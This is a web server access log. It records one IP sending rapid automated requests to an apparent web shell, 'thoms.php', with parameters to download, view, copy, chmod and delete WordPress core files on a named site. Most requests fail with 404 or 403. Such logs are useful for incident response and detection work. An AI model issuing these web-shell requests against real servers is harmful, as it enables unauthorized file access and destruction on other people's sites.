45.135.193.11 - - [11/Sep/2026:23:55:49 -0400] "GET /thoms.php?dl=template-canvas.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=template-canvas.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:49 -0400] "GET /thoms.php?chmod=sitemaps&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=sitemaps&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:50 -0400] "GET /thoms.php?chmod=abilities-api.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=abilities-api.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:50 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-phpmailer.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-phpmailer.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:50 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-dependency.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-dependency.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:50 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-fatal-error-handler.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-fatal-error-handler.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:50 -0400] "GET /thoms.php?dl=class-wp-http-streams.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-streams.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:50 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-text-diff-renderer-table.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:50 -0400] "GET /thoms.php?dl=class-wp-simplepie-sanitize-kses.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-simplepie-sanitize-kses.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:50 -0400] "GET /thoms.php?del=interactivity-api&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=interactivity-api&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:50 -0400] "GET /thoms.php?dl=class-wp-date-query.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-date-query.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:50 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-theme-json-data.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:50 -0400] "GET /thoms.php?dl=class-wp-styles.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-styles.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:50 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-xmlrpc-server.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-xmlrpc-server.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:51 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=kses.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=kses.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:51 -0400] "GET /thoms.php?dl=feed.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=feed.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:51 -0400] "GET /thoms.php?del=locale.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=locale.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:51 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes%2Fai-client HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes%2Fai-client" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:51 -0400] "GET /thoms.php?del=php-ai-client&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=php-ai-client&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:51 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-network.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:51 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fsitemaps&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fsitemaps&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:51 -0400] "GET /thoms.php?del=class-wp-oembed.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-oembed.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:51 -0400] "GET /thoms.php?chmod=class-wp-tax-query.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-tax-query.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:51 -0400] "GET /thoms.php?chmod=class-wp-theme-json-resolver.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-theme-json-resolver.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:51 -0400] "GET /thoms.php?del=nav-menu.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=nav-menu.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:51 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes%2Fcertificates HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes%2Fcertificates" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:51 -0400] "GET /thoms.php?dl=block-i18n.json&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=block-i18n.json&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:51 -0400] "GET /thoms.php?dl=class-snoopy.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-snoopy.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:52 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-list-util.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-list-util.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:52 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Flink-template.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Flink-template.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:52 -0400] "GET /biotaiwan.com.tw/wp-includes/post-thumbnail-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:52 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fms-blogs.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fms-blogs.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:52 -0400] "GET /thoms.php?chmod=ai-client&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=ai-client&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:52 -0400] "GET /thoms.php?del=rewrite.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=rewrite.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:52 -0400] "GET /thoms.php?chmod=class-wp-simplepie-sanitize-kses.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-simplepie-sanitize-kses.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:52 -0400] "GET /biotaiwan.com.tw/wp-includes/feed.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:52 -0400] "GET /biotaiwan.com.tw/wp-includes/ms-default-filters.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:52 -0400] "GET /thoms.php?chmod=template-canvas.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=template-canvas.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:52 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fsession.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fsession.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:53 -0400] "GET /thoms.php?chmod=class-wp-block-parser.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-parser.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:53 -0400] "GET /thoms.php?del=view-config.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=view-config.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:53 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-classic-to-block-menu-converter.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:53 -0400] "GET /biotaiwan.com.tw/wp-includes/sitemaps/ HTTP/1.1" 200 1328 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:53 -0400] "GET /thoms.php?del=block-editor.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=block-editor.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:53 -0400] "GET /thoms.php?chmod=class-wp-image-editor-gd.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-image-editor-gd.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:53 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-oembed.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-oembed.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:53 -0400] "GET /thoms.php?dl=class-wp-role.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-role.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:53 -0400] "GET /biotaiwan.com.tw/wp-includes/https-migration.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:53 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=template-canvas.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=template-canvas.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:53 -0400] "GET /thoms.php?del=template-loader.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=template-loader.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:54 -0400] "GET /thoms.php?chmod=class-avif-info.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-avif-info.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:54 -0400] "GET /thoms.php?dl=theme.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=theme.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:54 -0400] "GET /thoms.php?dl=class-walker-comment.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-walker-comment.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:54 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-admin-bar.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-admin-bar.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:54 -0400] "GET /thoms.php?chmod=class-wp-user-request.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-user-request.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:54 -0400] "GET /thoms.php?chmod=deprecated.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=deprecated.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:54 -0400] "GET /thoms.php?chmod=registration-functions.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=registration-functions.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:54 -0400] "GET /thoms.php?del=json-schema.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=json-schema.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:54 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=blocks.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=blocks.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:54 -0400] "GET /biotaiwan.com.tw/wp-includes HTTP/1.1" 301 795 "http://163.245.207.76:443/biotaiwan.com.tw/wp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:54 -0400] "GET /thoms.php?dl=class-wp-block-parser-frame.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-parser-frame.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:54 -0400] "GET /thoms.php?del=class-wp-block-supports.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-block-supports.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:55 -0400] "GET /biotaiwan.com.tw/wp-includes/ HTTP/1.1" 200 9323 "https://163.245.207.76:443/biotaiwan.com.tw/wp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:55 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-block-type-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:55 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-block-editor-context.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:55 -0400] "GET /thoms.php?dl=atomlib.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=atomlib.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:55 -0400] "GET /thoms.php?chmod=PHPMailer&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=PHPMailer&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:55 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-customize-control.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:55 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fblock-editor.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fblock-editor.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:55 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-comment-query.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-comment-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
